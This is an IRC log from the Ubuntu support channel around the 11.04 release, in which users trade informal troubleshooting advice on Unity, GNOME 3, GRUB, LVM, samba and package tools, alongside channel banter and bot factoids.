[10:26] <ciphergoth> Just switched to Unity - how do I configure the number and layout of workspaces?
[10:26] <Haegin> Herbs: that's a stupid idea. just leave.
[10:26] <Herbs> lol
[10:26] <tuxx-> well, i've had it with you little girls bitching about window managers. ktnx :-P
[10:26] <zvacet> sdollins:  did you tried e17 it may be not perfect but eye candy and customizable
[10:27] <Starminn> sdollins: Well there's nothing you can do, man. IF you like Gnome2, Xfce is the closest ot tht you'll get. Really, Gnome2 is essentially deprecated, and will totally be deprecate soon.
[10:27] <sdollins> Never even heard of it, is it new?
[10:27] <sdollins> Xfce is okay I guess.
[10:27] <d-snake> ciphergoth: just right click in the worspace switcher in the bottom panel. there you can configure the rows and cols
[10:27] <VanDyke> just install Windows ME. You'll be happy, I promise.
[10:27] <thegoodcushion> Starminn: give over, it's not deprecated
[10:27] <thegoodcushion> it's the most popular Linux GUI
[10:27] <sdollins> I installed xubuntu on an old laptop and i didn't find it horrible but it's missing stuff :(
[10:28] <Starminn> thegoodcushion: Except that Gnome does not support it anymore. Cacnonical does.
[10:28] <ciphergoth> d-snake - bottom panel? I can't see one - only a left hand panel and a top panel.  Right clicking on the workspace switcher in the left hand panel does nothing.
[10:28] <marenostrum> sdollins, If to be frank, I'm not a fan of Unity as well. I don't have a netbook and I still don't see the point why I should use it on a desktop. But I trust ubuntu leading team and I'll seriously try it and try to see what's in it for me. We know Gnome 2. And we'll see Gnome 3 as well. For now, Ubuntu Natty's two choice is OK for me. If not Unity, there's classical choice.
[10:28] <Starminn> thegoodcushion: If I understand correctly, anyway.
[10:28] <zvacet> sdollins:  no it's not new you can find distros using it
[10:28] <sdollins> I work in IT and at the end of the day I don't want to fight with my computers :(
[10:28] <DocPlatypus> okay
[10:28] <kaie> I have an internal disk, and an external backup disk (cloned with dd). I must restore one lvm logical volume. When having both disks connected, lvm says, it detects a duplicate, only allows one of them to be active. Is there a trick to rename one of them, so I can have both volume groups / logical volumes active at the same time?
[10:28] <Starminn> marenostrum: You can also use Gnome3
[10:28] <Herbs> gnome ftw
[10:29] <thegoodcushion> is it in a PPA or something?
[10:29] <Starminn> Herbs: +1
[10:29] <Starminn> thegoodcushion: Is what in a PPA?
[10:29] <thegoodcushion> Starminn: GNOME 3
[10:29] <kaie> (for some reason, after a machine went to sleep yesterday, when it woke up again, the contents of the / partition were corrupted afterwards, just fyi)
[10:29] <thegoodcushion> for Ubuntu 10.04 or 11.04
[10:29] <DocPlatypus> my last ditch attempt to get reliable sound on here will be to upgrade to 10.10. I'm getting a new computer from system76 later this month so I'm not that worried about sound or lack thereof... but I do want to know how hard it is to switch to GNOME 3 over this "Unity" thing.
[10:29] <marenostrum> Starminn, You mean from ppa. First I want to experience Unity. Then, I'll give it a try.
[10:29] <sdollins> DocPlatypus: I figure there will be "Gubuntu".
[10:30] <thegoodcushion> DocPlatypus: honestly, my next distro will be debian or Fedora
[10:30] <Herbs> kaie did you try an fsck
[10:30] <DocPlatypus> I switched to Ubuntu *from* Debian.
[10:30] <Starminn> marenostrum: Well, Gnome3 breaks Unity so you can't exactly "revert"
[10:30] <thegoodcushion> sdollins: and yes, I'm sure the GNOME fanboys will come up with a GNOME Ubuntu
[10:30] <VanDyke> sdollins, no, it's gonna be Clabuntu
[10:30] <sdollins> Fedora 15 will be sporting GNOME3 so that's an option.
[10:30] <kaie> Herbs, yes. a large initial portion of the disk now contains garbage data. no repair possible. I need to restore my backup
[10:30] <DocPlatypus> and I honestly don't give a damn if I break Unity.
[10:30] <Starminn> marenostrum: But yeah, in 11.04 it's available in a PPA. http://www.omgubuntu.co.uk/2011/04/gnome-3-released-to-be-available-for-ubuntu-11-04-via-ppa/ You can try it on a LiveCD from the Fedora 15 Alpha or something sfrom the folks at SUSE
[10:30] <VanDyke> whoever came up with Unity was on heavy crack
[10:30] <marenostrum> Starminn, And I'm not sure Gnome3 from ppa will give a good result with Natty, especialy for a production machine as I use. Maybe I need an experimantal machine.
[10:31] <Starminn> DocPlatypus: I agree. Dirst thing I'll do. ;)
[10:31] <VanDyke> marenostrum, works fine
[10:31] <thegoodcushion> Since installing 10.04 I've been pleasantly surprised at the lack of daily updates
[10:31] <ojii> Is there a way to replace the 'view photos' shortcut in the launcher with something else?
[10:31] <faLUCE> I created a shared directory with swat. I created it by accessing swat http server with root user (if I access with myuser I cannot create a share, therefore I used root). Now: I can make the shared resource accessible to all, without a password. How can I configure it in order to be accessible only for the users which have permissions to the directory, so that remote login is required?
[10:31] <frayweb> #ubuntu-it
[10:31] <ciphergoth> d-snake or anyone else - what do you see when you right click on the workspace switcher?  What's it called? If I know that maybe I can search fo rit
[10:31] <DocPlatypus> well
[10:31] <sdollins> Out of curiosity, was there any user input on whether Unity was wanted?
[10:31] <DocPlatypus> I kept 9.10 until I needed a newer NtEd.
[10:32] <DocPlatypus> 9.10 has 1.5.x, 10.04 LTS has 1.9.x
[10:32] <sdollins> I don't keep up with things. I just use what works and it's been Ubuntu [up until now].
[10:32] <thegoodcushion> nted?
[10:32] <thegoodcushion> what's that
[10:32] <thegoodcushion> sdollins: I think the choice of GUI can change your feel for the system.  I hate KDE, love GNOME
[10:32] <Starminn> sdollins: The general consensus seemed to be no, so I guess not. But hey, they're the largest Linux distro around now. They can do whatevere they want.
[10:32] <selig5> ciphergoth: I don't think you can change the number of work spaces on 11.04.
[10:33] <thegoodcushion> Starminn: they won't be the largest distro if people hate Unity
[10:33] <Starminn> sdollins: But that's not a topic for discussion here.
[10:33] <ciphergoth> selig5: I refuse to believe that the Unity team are that stupid
[10:33] <marenostrum> Starminn, I have very bad feelings for SUSE because of some non-technical reasons. I may try from Feddora live. Or I may install from ppa on Natty these days and then make a fresh Natty install again before I set up everything on Natty.
[10:33] <Starminn> thegoodcushion: Exactly. Currently they are. Only time will tell if it's continued.
[10:33] <d-snake> ciphergoth: You use Natty with Unity? Then open a terminal > type in
[10:33] <d-snake> sudo apt-get install compizconfig-settings-manager
[10:33] <d-snake> This will install a program to configure it. After this you search in the application menu for "compiz". There you will see the new program. Click on "General options" > switch to the last tab "Desktop size".
[10:33] <tic^> sdollins: 10.04 works very well. Install on a fesh clean drive, setup what you want and then STOP upgrading. It will remain stable that way.
[10:33] <FloodBot1> d-snake: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[10:33] <thegoodcushion> Starminn: I remember when Red Hat was the most popular.  Then they went commercial...
[10:33] <kaie> how can I open a backup lvm volume group at the same time as the original one?
[10:34] <sdollins> Well 10.10 worked fine :P
[10:34] <Starminn> thegoodcushion: Very true.
[10:34] <ciphergoth> d-snake - that's it! Thanks!
[10:34] <envygeeks> !no
[10:34] <ubottu> Hvis du vil diskutere på Norsk, vennligst gå til #ubuntu-no. Takk!
[10:34] <Starminn> marenostrum: Well, I don't know Fedora very well,but Fedora with Gnome3 LiveCD was quite nice.  http://www.gnome3.org/
[10:34] <sdollins> I suppose I shall backup my data and reinstall 11.04.
[10:34] <sdollins> If that fails, I will rage and likely install Windows.
[10:35] <sdollins> Now... to find a freaking DVD.
[10:35] <d-snake> ciphergoth: No problem :-)
[10:35] <envygeeks> !gb
[10:35] <ubottu> Join us for a discussion using the Queen's English in #ubuntu-uk
[10:35] <Starminn> sdollins: Ubuntu, Debian, Fedora, OpenSUSE... Plus, there's Ubuntu with Gnome2, Ubuntu with Gnome3, Ubuntu with KDE, Ubuntu with Unity, not to mention AwesomeWM, e17...
[10:35] <Starminn> sdollins: Ah yes, and Linux Mint, ElementaryOS...
[10:35] <marenostrum> Starminn, Nowadays to try Gnome3 the best way seems to be Fedora -from live CD or install.
[10:35] <ciphergoth> d-snake: had got as far as looking through compiz config but didn't think to try "General Options".  Thanks agani!
[10:35] <zvacet> sdollins: so keep using it  :)
[10:36] <ciphergoth> really should be configurable through right click - there's a bug for it http://brainstorm.ubuntu.com/idea/26889/
[10:36] <bear_> hi
[10:36] <marenostrum> Starminn, But I'll just try. My main OS is Ubuntu. ubuntu Natty.
[10:37] <d-snake> ciphergoth: in the old ubuntu (or Ubuntu Classic) you can do it as I described at first
[10:37] <bik> join/ #ubuntu-it
[10:37] <thegoodcushion> Why are you posting foreign language channels here?
[10:37] <marenostrum> Starminn, Trying is something else but I made my mind that Natty Narwhal is OK for me for the next 6 months.
[10:37] <AG_Scott> Backing up my home directory should keep just about everything I need yes?
[10:37] <Starminn> marenostrum: I'd try it from a LiveCD. Again, I hear that there isn't really a "reversal process" so just keepin mind that you've been warned. I've not tried it myself so it could be easy, I don't know. I could be over-reacting. Just be aware. :)
[10:37] <adminmatt> *nix
[10:37] <Starminn> marenostrum: Alright.
[10:37] <AG_Scott> Eh it'll work.
[10:37] <d-snake> ciphergoth: Unity is not complete at the moment. It is very new software
[10:38] <ciphergoth> d-snake: yeah, that's what I was used to.
[10:38] <adminmatt> irc.whatnet.org
[10:38] <ciphergoth> d-snake: I take it the move to Unity this early is to get a lot of developer eyes on it then?
[10:38] <ciphergoth> Am not too unhappy yet, will stick with it for a bit longer
[10:39] <marenostrum> Starminn, I noted the reversal process issue. Natty instal is very new now. I may try PPAs Gnome3 today and tomorrow and then make a fresh Natty install. :)
[10:39] <MethedMan> what's the difference between mutt and mixmaster.  FYI only my 2nd week on IRC
[10:40] <marenostrum> Starminn, I don't advice anybody to try Gnome 3 from PPA on a production machine. That will be a Russian roulette. :)
[10:40] <Opium56> hey i got a question if anyone can help me figure it out
[10:40] <MethedMan> is there something like mutt and mixmaster for emacs?
[10:40] <AG_Scott> Yikes. My home directory is 23GB lol...
[10:40] <AG_Scott> I don't even keep files there :/
[10:40] <d-snake> ciphergoth: Well, I think Unity is not perfect in the moment, but I'm sure it becomes much better in next months.
[10:40] <envygeeks> marenostrum: the GNOME3 PPA is quite stable IMO, never had any problems with it yet, not major at least.
[10:40] <zvacet> !ask| Opium56
[10:41] <ubottu> Opium56: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[10:41] <snikker> xorg.conf was removed in natty? i must increase dpi with a custum value...
[10:41] <jnlsnl_> Hello guys! I'm having a problem, i have a cifs mount line in my fstab that mounts a drive at work, but when i'm not at work and can't access the drive i get errors on boot :(
[10:42] <AdvoWork> anyone know the fix for firefox sticking to US letter for printing in ubuntu? ive changed etc/papersize, ive set the about:config to use A4, but still,it sticks to US letter and it greys out on print options..
[10:42] <ASEDDDD> gnome 3 or kde
[10:42] <ASEDDDD> what is better
[10:42] <d-snake> snikker: It was removed since Karmic, I think ;-). But you can create one
[10:42] <thegoodcushion> ASEDDDD: depends on personal preference
[10:42] <Opium56> Im havig problems with the new ubuntu release, im on a laptop and upon installation the screen goes completely blank, upon login or welcome screen its still blank. What is the problem?
[10:42] <marenostrum> envygeeks, Nice for ppa but I won't install it on an established machine with no plan to fresh install.:)
[10:42] <ASEDDDD> thegoodcushion what do you think ? I LIKE ! gnome 2
[10:42] <X-Rob> I'd like to dsiable the super-high-resolution text mode console. I'm assuming by stopping linux using the frame buffer. There doesnt' seem to be a way to do this. Should I give up and go back to fedora?
[10:43] <jussi> !best | ASEDDDD
[10:43] <ubottu> ASEDDDD: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[10:43] <snikker> d-snake: ah ok... but why is was removed?
[10:43] <thegoodcushion> ASEDDDD: I like GNOME 2 as well.  I'll prefer GNOME 3 when it's ready for prime time
[10:43] <lifeofguenter> hi all
[10:43] <d-snake> Opium56: But you see then the login screen? Whats your grafic card?
[10:43] <lifeofguenter> ati-radeon does not work anymore since latest update
[10:43] <marenostrum> lifeofguenter, Hello!
[10:44] <lifeofguenter> external vga is all gibberisch
[10:44] <siddhantchd> help please http://ubuntuforums.org/showthread.php?t=1747052
[10:45] <d-snake> snikker: Cause it will configure automaticly by ubuntu. For indiviual settings you can create one
[10:45] <Opium56> theres nothing on my screen even after reboot. im on an acer aspire 5736z with an intel GMA 4500MHD ,easy put its an intel onboard graphics card
[10:45] <AG_Scott> Anyone know what folder pidgin account data is stored in?
[10:45] <RXShorty> Hello all, I have a question about Ubuntu server 10.04 I am logged in and it sais there are some updates
[10:45] <snikker> d-snake: ok, thank you
[10:46] <RXShorty> but running apt-get update / upgrade
[10:46] <RXShorty> doesn't update anything
[10:46] <AG_Scott> Could they be "held back" kernel updates RXShorty?
[10:47] <vega> RXShorty: i have the same on 10.04 desktop, says there are upgrades on login when there really aren't any
[10:47] <RXShorty> Could be how can I update these?
[10:47] <RXShorty> Ah
[10:47] <RXShorty> is that the issue
[10:47] <RXShorty> I already ran dist-upgrade
[10:47] <vega> RXShorty: it appeared sometime 1-2 weeks ago, now they are stuck there even though upgrades come and go
[10:48] <vega> RXShorty: actually seems it somehow is duplicated now: http://pastebin.com/FZQ1NVrA
[10:49] <miked> Can gnome still be installed in 11.04
[10:49] <Opium56> theres nothing on my screen even after reboot. im on an acer aspire 5736z with an intel GMA 4500MHD ,easy put its an intel onboard graphics card
[10:49] <hnsz> how can I chenge the brightness of my laptops lcd on the commandline?
[10:49] <zvacet> RXShorty: sudo apt-get dist-upgrade
[10:49] <ciphergoth> miked: yes
[10:49] <ciphergoth> just select "Ubuntu Classic" from the menu at the bottom before you log in
[10:49] <miked> From the mini image?
[10:49] <miked> oh
[10:49] <novice> how do i search for available wireless networks available in ubuntu 10.10
[10:50] <vega> novice: they should be listed when you click on the network icon
[10:50] <chen> hi
[10:50] <RXShorty> zvacet: I already ran dist-upgrade
[10:50] <jubei> hello. I acidentally deleted boost from my system and now compiz cannot load the problem is that as a result gnome/unity etc with effects cannot load and I'm in a bit of a bind I've re-installed the required libraries but compiz still doesn't load any tips would be appreciated http://pastebin.com/Q2XQdYLY
[10:51] <Opium56> ubuntu 11.04 screen problem
[10:51] <jubei> (sry for missing punctuation )
[10:51] <novice> vega: somehow they are not.i need to sort of fprce ubuntu to search
[10:51] <marenostrum> AG_Scott, Can it be /home/.purple
[10:51] <AG_Scott> Yeah it is.
[10:51] <AG_Scott> I clearly shouldn't be awake at 5 AM
[10:51] <dabblego> what software can I use to restrict children's access?
[10:52] <AG_Scott> I set there and seen "accounts.xml" and still wondered where it was
[10:52] <AG_Scott> sit*
[10:52] <marenostrum> AG_Scott, :)
[10:52] <AG_Scott> dabblego: I didn't really find any good software like steadygate that microsoft offered.
[10:52] <AG_Scott> There's an app that lets you lock panels.
[10:52] <dabblego> there was one I looked at a year ago and it looked excellent, but I forget the name and google won't help
[10:52] <vega> novice: iwlist scan or something like that on the command line at least
[10:53] <AG_Scott> You can use dansguardian for content filtering but opendns parental control might be more worthwhile.
[10:53] <AG_Scott> and you can restrict the users access via normal methods.
[10:53] <AG_Scott> Drule: hey buddy :D
[10:53] <dabblego> that's the one
[10:53] <be3le3> I just installed backtrack on a virtualbox vm and I went to install the guest additions for linux it installed fine but when i goto reboot it shows me it loads the guest additions but I can't copy n past from host or even full screen
[10:54] <be3le3> any clue to why?
[10:54] <novice> vega: Thanks
[10:54] <zvacet> vega:  it doesn't duplicate you can update 1 package or upgrade to maverick it is not thte same
[10:54] <AG_Scott> dabblego: I looked for hours for a good "all in one" app but there really isn't much :(
[10:54] <dabblego> bummer
[10:55] <ASEDDDD> hi
[10:55] <AG_Scott> hello
[10:55] <be3le3> I just installed backtrack on a virtualbox vm and I went to install the guest additions for linux it installed fine but when i goto reboot it shows me it loads the guest additions but I can't copy n past from host or even full screen
[10:55] <AG_Scott> yeah i was bummed out too.
[10:55] <vega> zvacet: nope, the 23 packages to be updated message is not related to maverick imho
[10:56] <vega> that is an old message that has been sticking there for a while
[10:56] <be3le3> i could really use the help with this its a bit annoying
[10:56] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[10:57] <gogoboy> 安安1
[10:59] <Laurenceb_> hi, im trying to print in landscape, but the document is always printed in portrait
[10:59] <Laurenceb_> can anyone suggest what could be causing this?
[10:59] <zvacet> vega:  you are right but what is happened if you try to update those packages
[11:00] <linux9211> hi everyone
[11:01] <linux9211> it may be off topic but worth watching: http://www.youtube.com/watch?v=fpBPVkpmoeg&feature=player_embedded
[11:04] <vega> zvacet: 1 package got upgraded and after that the 23/18 package message still sticks
[11:05] <lifeofguenter> nobody else having problems with external vga on ubuntu natty?
[11:05] <lifeofguenter> with latest updates?
[11:06] <t0rakka> After upgrading to 11.04 (64-bit) the samba crashes randomly when writing to fileshares (cannot ssh to the machine, desktop freezes, machine doesn't respond to ping's ..) is this common or just me?
[11:06] <AG_Scott> I've had issues but not like that
[11:06] <t0rakka> should I just reinstall from scratch and re-configure everything? =P
[11:07] <t0rakka> that helped last time (10.10), seems the upgrades consistently fail for me (why upgrade if everything works.. i should stop doing that..)
[11:07] <t0rakka> or, should I switch to NFS? ;---o
[11:08] <AG_Scott> I'm reinstalling right now :P
[11:08] <outy> hi guys
[11:08] <t0rakka> could the smb.conf be a problem? I retained the old one.. when I do /etc/init.d/samba restart it complains about settings that the "new" samba daemon doesn't understand!?
[11:08] <[4-tea-2]> Howdy, I'm trying Unity and I wonder what's the desktop search engine it's supposed to use and how to configure it to find my interesting files. Any help or pointers?
[11:09] <Zahrada> I've had some issues while installing natty 64bit.
[11:09] <t0rakka> AG: I probably go that way, too
[11:09] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[11:09] <outy> i need some help getting my ubuntu install to boot
[11:10] <Zahrada> When the installation process comes about to install GRUB, it fails.
[11:10] <Zahrada> It simply states that it cannot install it.
[11:10] <[4-tea-2]> Zahrada: error message?
[11:10] <outy> i recently installed narwhal on my laptop and i had to use acpi workaround mode to get it to install
[11:10] <outy> and now it has finished installing it wont boot
[11:10] <[4-tea-2]> Zahrada: there are alternatives to grub, perhaps try lilo instead?
[11:10] <Zahrada> I must add that I tried installing it on a RAID 0
[11:11] <Zahrada> I switched back to 10.10 [4-tea-2]
[11:11] <bullgard4> outy: What happens if you press Ctrl+Alt+F1?
[11:11] <outy> i dont know
[11:11] <Zahrada> and then upgraded that one to 11.04.
[11:11] <outy> what is that supposed to do ?
[11:11] <outy> i havent tried it
[11:11] <[4-tea-2]> Zahrada: or you could try a manual installation, giving grub a hand... as in grub-install --recheck /dev/my/weird/device/name
[11:12] <Noble> Is possible to get some kind of expose in a webbrowse?
[11:12] <bullgard4> !prefix | outy
[11:12] <ubottu> outy: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[11:12] <MethedMan> is there a solid program that i can run in emacs to send anonymous email?
[11:12] <outy> sorry ubotuu
[11:12] <nags_> All
[11:12] <nags_> I am new to the IRC channel
[11:13] <[4-tea-2]> MethedMan: I suspect there is no such thing as anonymous email.
[11:13] <Zahrada> it's all fine and dandy now, [4-tea-2].
[11:13] <nags_> I have a few questions about ubuntu server edition
[11:13] <bullgard4> outy: ubottu is a machine, it is no nick.
[11:13] <nags_> who do I address the questions to?
[11:13] <DocPlatypus> [4-tea-2]: there is
[11:13] <bullgard4> !ask | nags_
[11:13] <ubottu> nags_: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[11:13] <outy> !prefix
[11:13] <ubottu> As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[11:13] <marenostrum> nags_, To the chanel directly, please.
[11:14] <Joker_99> sht does anyone know what this net ubuntu update screwed up?
[11:14] <marenostrum> *chanel
[11:14] <MethedMan> [4-tea-2]: i suppose you are right, but there are ways to anonymize your email.
[11:14] <Joker_99> new*
[11:14] <botcity> MethedMan, 10minitemail is your bets bet
[11:14] <AziaBurgi> ah...
[11:14] <kryl> hi
[11:14] <AziaBurgi> hello everyone
[11:14] <lubuntu> hello
[11:14] <[4-tea-2]> DocPlatypus, MethedMan: you're right, I totally forgot about mixmaster chains.
[11:14] <botcity> MethedMan, best*
[11:15] <nags_> does ubuntu support dual-Xeon (each 4 core) server grade machine?
[11:15] <AziaBurgi> i came back from holiday today to find our server had updated to 11.04 and won't boot
[11:15] <lubuntu> i have two day lubuntu and dont have any new update for packaged ;)
[11:15] <Joker_99> whatever they changed about where the close X goes has screwed up alot on my system
[11:15] <AziaBurgi> http://i51.tinypic.com/2cz8t5g.jpg - getting this error
[11:15] <kryl> I used root lvm crypt partition (and works well since last upgrade : 11.04) , everything looks fine but when I boot after giving my password successful it show me a prompt with initramfs (I suppose busybox) do you know why please ?
[11:15] <AziaBurgi> any suggestions?
[11:16] <bullgard4> nags_: I believe yes.
[11:16] <MethedMan> botcity: what is 10minitemail
[11:16] <lubuntu> AziaBurgi,  are you restart again ?
[11:16] <nags_> @bullgard4, how do I confirm that?
[11:17] <AziaBurgi> tried restarting the box several times with the same error
[11:17] <jwtiyar> i cant upgrade to 11.04 with live dvd ??
[11:17] <DocPlatypus> AziaBurgi: "Unable to mount root fs" -- that means exactly what it says.
[11:17] <MethedMan> [4-tea-2]: yeah, mixmaster is a pain in the rear.  i do not use vi/vim either.  prefer to use emacs
[11:17] <DocPlatypus> AziaBurgi: restarting alone won't help. you need to boot from CD and figure out what's wrong with your root filesystem, or possibly your GRUB config
[11:17] <[4-tea-2]> Any help with my desktop search question? - I'm trying Unity and I wonder what's the desktop search engine it's supposed to use and how to configure it to find my interesting files. Any help or pointers?
[11:17] <bullgard4> nags_: By asking in #ubuntu-kernel and stating your kernel version.
[11:17] <nicko> Hello , i have a small problem , my grub2 boot list countdown (timer) disappeared . any ideas ?
[11:18] <^elf^> anyone got any clues regarding this? server1 = win7, server2 = natty. When doing smb file copies on server1 (regardless of which direction) between server1 and server2 it goes at full ethernet speed. But when starting the copy on server2 (remote //server1/share is mounted via cifs) it only goes at ~25% speed
[11:18] <botcity> MethedMan, 10minutemail.com mail for 10minutes!
[11:18] <AziaBurgi> okies i'll try that
[11:18] <bullgard4> !grub2 | nicko
[11:18] <ubottu> nicko: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[11:18] <jwtiyar> i cant upgrade to 11.04 with live dvd ??
[11:19] <DJones> nicko: Do you just have one operating system on the machine or dual boot? If its a single o/s, it will normally just boot straight into ubuntu
[11:19] <nags_> @bullgard4, I am planning to buy a server for building Android apps for my organization. So, I can go with the Kernel version that supports.
[11:19] <bullgard4> jwtiyar: What Live DVD do you have?
[11:19] <[4-tea-2]> MethedMan: Google tells me there's a mixmaster.el, but it's ancient.
[11:19] <jwtiyar> bullgard4, that i dwonloaded from ubuntu.com
[11:20] <lubuntu> bullgard4,  its liveCD
[11:20] <nags_> bullgard4, Is there some documentation on which HW is supported ?
[11:20] <js__> hello
[11:21] <MethedMan> botcity: that website is useless
[11:21] <js__> I have a problem regard the terminal
[11:21] <marenostrum> nags_, Please have a look here: http://ubuntuforums.org/showthread.php?t=1117827 This is abou the CPU.
[11:21] <Hack_the_matrix_> yo
[11:21] <js__> when I switch from browser to terminal
[11:21] <bullgard4> jwtiyar: There are several different Live DVDs available from ubuntu.com.
[11:21] <js__> terminal become freezed
[11:21] <DJones> jwtiyar: As far as I know, you need the alternative cd/dvd to use a cd/dvd upgrade option
[11:21] <jwtiyar> bullgard4, sorry its livecd
[11:21] <js__> I cannot type whatever from keyboard
[11:22] <jwtiyar> DJones, omg i have to download alternative cd/dvd again?
[11:22] <outy> so nobody can help me ?
[11:22] <DJones> jwtiyar: https://help.ubuntu.com/community/NattyUpgrades About half way down it has details of upgrading using the alternate cd/dvd
[11:22] <js__> anyone can tell me how to solve this?
[11:22] <botcity> MethedMan, http://10minutemail.com/10MinuteMail/index.html
[11:22] <DJones> jwtiyar: Somebody else may be able to advise you on whether you can upgrade using the live cd/dvd, but I don't know if its possible
[11:23] <jwtiyar> DJones, thanks
[11:23] <bullgard4> jwtiyar: Using a Ubuntu live CD you can upgrade to Ubuntu 11.04 but you will need a broadband Internet connection to download many additional package.
[11:23] <bullgard4> s/package/packages/
[11:23] <js__> I have never found a solution on any website
[11:23] <jwtiyar> bullgard4, i have broadband internet connection
[11:24] <bullgard4> jwtiyar: Then go ahead. But first make a backup of your old /home directory.
[11:25] <jwtiyar> bullgard4, how to backup them? burning to DVD ?
[11:25] <bullgard4> nags_: There is plenty of documentation what hardware is supported. You will need to be more specific.
[11:25] <lubuntu> you can write to pendrive
[11:25] <wolfy_> hello, Is there something like df in terminal? I wish to see a statistic of space used for / , /home , / etc , /usr etc.
[11:26] <jrib> wolfy_: df is a terminal program...
[11:26] <gartral> why were the openbios-arch packages not in natty?
[11:26] <nicko> DJones: i'm dual boot , my grub2 is working fine just the 10 sec countdown not working and i have to manualy click it, my /etc/default/grub is the same from the day i install
[11:27] <wolfy_> uhm, df dose not show how mutch space is used in /etc or /usr
[11:27] <js__> what is df?
[11:27] <wolfy_> df -disck free
[11:27] <jrib> wolfy_: you're looking for du
[11:28]  * wolfy_ is reading the ''man du''
[11:28] <frankS2> How can I check which package /bin/ls comes from?
[11:28] <bullgard4> !enter |  js__
[11:28] <ubottu> js__: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[11:28] <botcity> wolfy_, did you mean a gui like df
[11:28] <jrib> frankS2: dpkg -S /bin/ls
[11:29] <frankS2> thanks jrib
[11:29] <js__> sorry, I am new
[11:29] <wolfy_> it is okay in terminal, a gui it is nicer trough
[11:29] <jrib> wolfy_: baobab (you could have just asked for gui first)
[11:29] <AziaBurgi> DocPlatypus: would any live CD work because the office has been "tidied" over the holiday and the ubuntu disc has gone walkies
[11:30] <bullgard4> wolfy_: Try ncdu
[11:30] <nags_> marenostrum, thanks for the link
[11:30] <frankS2> jrib: any way I can do that in reverse? Like check all files that comes from the package
[11:30] <jrib> frankS2: dpkg -L
[11:30] <nags_> bullgard4, sure, I will try to get more specific details
[11:30] <gartral> frankS2: "ls" came from gnu-utils.
[11:30] <marenostrum> nags_, You're welcome. Hope it was useful.
[11:30] <frankS2> gartral: no, coreutils
[11:30]  * wolfy_ thank's to all of you  guys
[11:30] <gartral> frankS2: ok, i wa close.. im tired
[11:31] <nags_> bullgard4, I just want to make sure that we can make sure of the full potential of the Xeon (super expensive) server
[11:31] <Rahber> ok i downloaded chrome from official site and when i open it in software center i get this Dependency is not satisfiable: libcurl3
[11:31] <purvesh> after upgrading to ubuntu 11.04 my phpmyadmin is not working so for that this command is perfect or not? but i dont want to loose previous all databases if i reconfigure with this command: "sudo dpkg-reconfigure -plow phpmyadmin"
[11:34] <nags_> marenostrum, yes it was helpful
[11:34] <nags_> marenostrum, I need to go back and get specific details of the hardware to ask more specific question, I guess.
[11:34] <js__> I am now facing a problem, when I switch from browser or others folder to terminal by pressing (alt + tab), then I cannot type in whatever key from keyboard, it is no effect at all. I only can press (alt + tab), after switch (alt + tab) a few time, the terminal can work again.
[11:34] <js__> Anyone know how to solve this?
[11:34] <bullgard4> nags_: First turn to #ubuntu-kernel for establishing that your kernel supports your anticipated processors.
[11:34] <js__> Thanks
[11:35] <marenostrum> Rahber, An old forum thtead bıt may be useful: http://www.webupd8.org/2009/09/dependency-is-not-satisfiable-libnss3.html
[11:35]  * wolfy_ rm -f /bin/laden
[11:36] <marenostrum> nags_, Might be better. And keep in mind the address: askubuntu.com There you can have nice answers as well.
[11:36] <js__> wolfy_, is this a solution for me?
[11:37] <botcity> js__, no
[11:37] <wolfy_> js__,  is a joke
[11:37] <botcity> js__, lol
[11:37] <nags_> marenostrum, yes that looks a good idea
[11:37] <js__> lol
[11:37] <bullgard4> js__: What Ubuntu release do you use? What desktop do you use? Did you analyze /var/log/syslog at this event time?
[11:37] <nags_> I will go there and check out the details
[11:37] <js__> bullgard4, 11.04
[11:38] <marenostrum> nags_, There are many friends who knows a lot about hardware and servers thete on askubuntu.com
[11:38] <bullgard4> js__: What desktop do you use? Did you analyze /var/log/syslog at this event time?
[11:38] <kryl> I used root lvm crypt partition (and works well since last upgrade : 11.04) , everything looks fine but when I boot after giving my password successful it show me a prompt with initramfs (I suppose busybox) do you know why please ?
[11:38] <nags_> marenostrum, I am there right now and will post a question right away
[11:39] <iceroot> kryl: are the crypt-moduls build for your current kernel?=
[11:39] <js__> bullgard4: What you mean "desktop"? No such command as "/var/log/syslog"
[11:39] <marenostrum> nags_, Wish you luck.
[11:39] <thewanderer1> hi. any idea why a chroot made with debootstrap has "squeeze/sid" in /etc/debian_version and Ubuntu 11.04 in issue.net? or how do I check the version reliably?
[11:39] <kryl> iceroot, when I'm in busybox the /dev/mapper/vg-root are allready here so I guess yes
[11:40] <amin> hello guy last night I update my ubuntu and install items in update manager about 3mb but today I have about 130mb update  while I was trying to update it it refreshed and become 49kb worth of download update what is wrong?
[11:40] <bullgard4> js__: By "desktop" I mean your graphical user interface. For example GNOME 2, Unity, KDE, etc.
[11:40] <iceroot> kryl: but that is only the lvm not encrypted, correct?
[11:40] <kryl> I encrypt the full lvm ;)
[11:40] <js__> bullgard4: I think is GNOME, I am new in Ubuntu.
[11:40] <Kream> is there a separate chat channel for ubuntu server?
[11:41] <iceroot> kryl: #ubuntu-server
[11:41] <Kream> thank you
[11:41] <kryl> :)
[11:41] <Laurencesm> hello, I wanted to install proprietary video driver for my video card, but ati radeon x1600 is no longer supported by ati. do I need to install other distro (8.04), or just use os driver?
[11:41] <iceroot> !ati | Laurencesm
